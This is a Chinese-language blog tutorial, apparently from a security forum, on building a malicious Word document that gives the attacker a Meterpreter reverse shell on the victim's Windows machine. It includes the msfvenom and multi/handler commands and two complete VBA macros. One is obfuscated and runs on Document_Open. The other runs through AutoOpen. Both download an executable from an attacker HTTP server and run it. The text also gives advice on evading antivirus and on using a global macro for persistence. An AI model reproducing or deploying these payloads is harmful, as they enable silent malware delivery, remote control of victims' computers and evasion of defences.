0x00 环境:

攻击机:unbuntu metasploit
靶机:windows 10
Word(能开启宏的版本均可)
SimpleHTTPServer(上传可执行文件以供下载,或者上传到www.upload.ee或其他网站再下载也可)

0x01 msfvenom生成木马文件

#msfvenom -p windows/meterpreter/reverse_tcp lhost=10.101.112.222 lport=4144 -a x86 -f exe > /var/tmp/Twe1ve.exe

生成exe格式文件到指定的/var/tmp/目录下

0x02 开启SimpleHTTPServer

#cd /var/tmp
#python -m SimpleHTTPServer 8000

到/var/tmp下在8000开启HTTP服务,可直接访问并下载http://10.101.112.222:8000/Twe1ve.exe

0x03 监听

#msfconsloe
#use exploit/multi/handler
#set payload windows/meterpreter/reverse_tcp
#set LHOST 10.101.112.222
#set LPORT 4144
#exploit

0x04 制作静默宏

新建一份.docx文档
相信对office宏有过研究的朋友应该都知道,旧版 office word的文件名后缀为doc,新版ofiice的word文件名后缀为docx,包含宏的文档后缀为docm。微软并不允许包含宏的word文档被命名为docx格式。那么某些AV会不会根据后缀初步判断文件是否恶意的呢?所以我现在用docx来搞这个

添加开发者工具到菜单栏:文件->选项->自定义功能区->主选项卡->开发者工具,到开发工具选项下打开并创建宏

[tips1]宏的位置要选全局(当前位置的话后面无法保存为docx文件)、也就是所有的活动模板和文档。这个是重点,后面会用到。

Private Declare PtrSafe Function pznHypDNww _
Lib _
"urlmon" _
Alias _
"URLDownloadToFileA" _
(ByVal jVwSfubsfjIw As Long, ByVal uoGDZwUbWil As String, _
    ByVal AVWhqlOexRkfTAI As String, _
    ByVal JHMxrycpoEILCc As Long, ByVal rkTBDYBFT As Long) _
    As Long
Private Declare PtrSafe Function DoIT Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal eyMzmMjiKrJvzYzKEWTqMl As Long, ByVal dYlBQm As String, _
ByVal ZjGBfhNinvlQZZXdA As String, ByVal HOtFFUYcTsHAk As String, ByVal RUpRVk As String, _
ByVal gPdCCemybuZxPpPbU As Long) As Long
Private Sub Document_Close()
End Sub
Private Sub Document_Open()
VvXCAiWri
End Sub
Sub nWtd()
Dim otqBShpqzXRvxekDL As String, Bhcdbg As String, QXfvVVlce As String
Bhcdbg = "server.exe[2]"
QXfvVVlce = Environ$("tmp[1]") & "\" & Bhcdbg
otqBShpqzXRvxekDL = "http://10.101.112.200:8000/server.exe[3]"
tEJGRjkFGPoU otqBShpqzXRvxekDL, QXfvVVlce
End Sub
Sub VvXCAiWri()
Dim YmxgfSSuCOrKqNgs As Integer
Dim geXqnJ As String
YmxgfSSuCOrKqNgs = 3
geXqnJ = "osumLoSDznHypDNwwjVwSf"
nWtd
End Sub
Sub tEJGRjkFGPoU(ByVal yNuATc, b As String)
pznHypDNww 0, yNuATc, b, 0, 0
DoIT 0, "open", b, "", vbNullString, vbNormalFocus
End Sub
Private Sub Document_XMLAfterInsert(ByVal NewXMLNode As XMLNode, ByVal InUndoRedo As Boolean)
End Sub

[1]tmp为下载文件到指定目录,这里下载到C:\Windows\Temp,可定义
[2]server.exe为下载回来的exe文件重命名,可自定义
[3]http://10.101.112.200:8000/server.exe 为可执行文件下载地址
复制上面这段代码进去到下图指定的"This Document"代码块处

这里需要强调一下、[tips2]代码一定要在Nomal的This Document模块、而不是我们以往使用的Projects的New Macros。而这一小小细节恰恰是我们能够躲过杀软检测的一个重要步骤,如下图,没有一个杀软能够检测到,假若是写到Projects的New Macros,查杀结果基本是全飘红的

开启宏、却不在New Macros写入对应宏代码~

保存->关闭宏页面->主页面再一次保存
tips:直接生成的该文件是一份空文件,需要填充一些内容才能发送(嵌入到一些正常word文档中更佳)

0x05 实施攻击

打开刚刚填充完内容及代码的word

没有任何提示、成功上线

0x06 遇到的一些坑

制作word的过程中由于一些操作失误,导致需要调试。每次打开word文档都会跳出调试窗口异或是无法正常保存.vba文件,清理word缓存即可,将如下脚本写入.bat格式文件中

@echo off
color 07
@ ECHO --------------------------------------------------------------------------------
@ ECHO 打开WORD文档出错提示:
@ ECHO --------------------------------------------------------------------------------
@ ECHO Microsoft Office Word 遇到问题需要关闭。我们对此引起的不便表示抱歉。您正在处理的信息有
可能丢失。Microsoft Office Word 可以尝试为您恢复。
@ ECHO --------------------------------------------------------------------------------
@ ECHO 系统询问是否要发送错误报告,不论选择哪一个,循环重启Word,重复出现相同警告对话框。之
后出现“安全模式启动WORD”,点确定,出现的WORD空白。
@ ECHO --------------------------------------------------------------------------------
echo 注意:请先关闭所有Word文档程序,按任意键开始修复......
@ ECHO --------------------------------------------------------------------------------
pause>nul
del /f /s /q "%userprofile%\local settings\temp\*.*"
del /f /s /q "%appdata%\microsoft\Templates\*.dot"
del /f /s /q "%appdata%\microsoft\Word\Startup\*.dot"
start winword
color 07
@ ECHO --------------------------------------------------------------------------------
@ ECHO BAT程序执行完毕,请按任意键退出...
@ ECHO --------------------------------------------------------------------------------
pause>nul

上面的填充在This Document中的docx文档[tips3]只能在本地制作并生效
下面换另一种方式、也就是查杀结果基本飘红的方式
稍稍有些不同:格式需要更改为doc,制作宏的位置也需要更改为当前文件,填充VBA代码的地方不同,代码也不尽相同。
在对方宏没有开启的情况下。需要对方点击"启用内容"

Sub AutoOpen()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://10.101.112.222:8000/server.exe", False
xHttp.Send
With bStrm
.Type = 1
.Open
.Write xHttp.responseBody
.savetofile "server.exe", 2
End With
Shell ("server.exe")
End Sub


查杀结果:

0x07 总结

两种方式,一个是doc文件名后缀、一个是docx文件后缀,杀软对它们的检测力度完全不同。固然,杀软对doc检测力度较大,但docx类型的宏文件(应该算宏文件吗???)相较doc类型的宏文件还是有它的缺陷所在,且非常严重,相信有些同学也注意到上面的三个小tips:它的缺陷在于tips3,这让它看起来很鸡肋,但是事实真的是这样吗?
[tips1]宏的位置要选全局
[tips2]代码一定要在Nomal的This Document模块
[tips3]只能在本地制作并生效

在[tips1]中,为什么一定要强调宏的位置要选全局?我们一旦创建了一个全局的宏,其他的word文档打开的时候也会调用我们创建的这个全局的宏,那么在我们有足够权限下的情况下,在目标机器上创建这样一个docx文件(全部杀软无感),再把它扔到管理员不常关顾的某个小角落。
所以,这个作为权限维持的一个方法也未尝不可。
有图有真相:右边这个是我netsh高级防火墙命令.docx是原来我自己电脑上的,在我生成一个上面的恶意docx之后,运行这个正常的docx文档也能上线

点击收藏 | 4 关注 | 1
登录 后跟帖